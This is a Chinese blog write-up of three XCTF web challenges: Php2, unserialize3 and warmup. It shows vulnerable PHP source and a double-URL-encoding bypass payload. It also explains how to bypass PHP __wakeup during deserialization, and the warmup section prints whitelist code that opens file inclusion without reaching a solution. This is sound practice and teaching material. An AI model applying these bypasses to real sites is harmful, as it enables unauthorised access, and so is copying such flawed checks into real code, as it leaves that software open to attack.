攻防世界-Web-write up(待更新

攻防世界-Web-write up(一)

 Web - Php2

从题目可以知道是phps的考点,phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。

 

 利用御剑将其爆破出来(我也是百度才发现御剑里面没有phps的配置文件,需要自己添加一下

 

 

 进入index.phps,查看源码

复制代码
<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>
复制代码

可以知道分两块的判断

第一层,先使得/?id!=admin

if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");

第二层,经过一次URLdecodde之后要使得/?id=admin

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";

构造payload = url/?id=%2561dmin

urlencode(%2561)=%61

urlencode(%61)=a

总结

当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode。因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行。

 

 

WEB - unserialize3

由题目可以知道,该题目是一道关于序列化和反序列化的题目

打开网址,发现以下代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

发现魔法函数__wakeup()

##引入几个可能会出现序列化与反序列化的漏洞函数##

复制代码
// 在创建对象是自动调用
__constuct()  
//相当于c++中的析构最后会将对象销毁,所以在对象销毁时被调用
__destuct()  
//但一个对象被当成字符串使用时被调用
__toString()    
//当对象被序列化之前使用
__sleep()   
//将在被序列化后立即被调用
__wakeup()  
//以上的函数就是经常遇见的序列化和反序列化的函数,如果服务器可以接受反序列化之后的字符,并且没有经过任何的过滤将其中的变量传入魔法函数中,那么很容易可以造成很容易的漏洞。
复制代码

 //serialize()

serialize()中会先检查方法__sleep(),如果存在该函数会先执行该函数,即为序列化之前要检查是否有这个魔法函数。

//unserialize()

unserialize()中会检查类中是否存在__wakeup(),如果存在机会调用__wakeup()函数,预先准备所需要的资源。

1
2
//关于__wakeup()函数的绕过方法
只需要改变字符或者对象的序列化后的属性,那么就不会执行wakeup函数,从而绕过该方法,即为传入的值大于真实存在的值,即可绕过该方法。

  根据源代码,写出可执行的php脚本,生成序列化

复制代码
<?php
class xctf
{
    public $flag = '111';

    public function __wakeup()
    {
        exit('bad requests');
    }
}
    $c = new xctf();
    print(serialize($c));
?>
复制代码

 

 与原题目拼接

 

 将1改为大于等于2的数字即可。

 

Web - warmup

打开网页,发现源码的地址

 

 

复制代码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
View Code
复制代码

 

posted @   GoIcejio  阅读(53)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示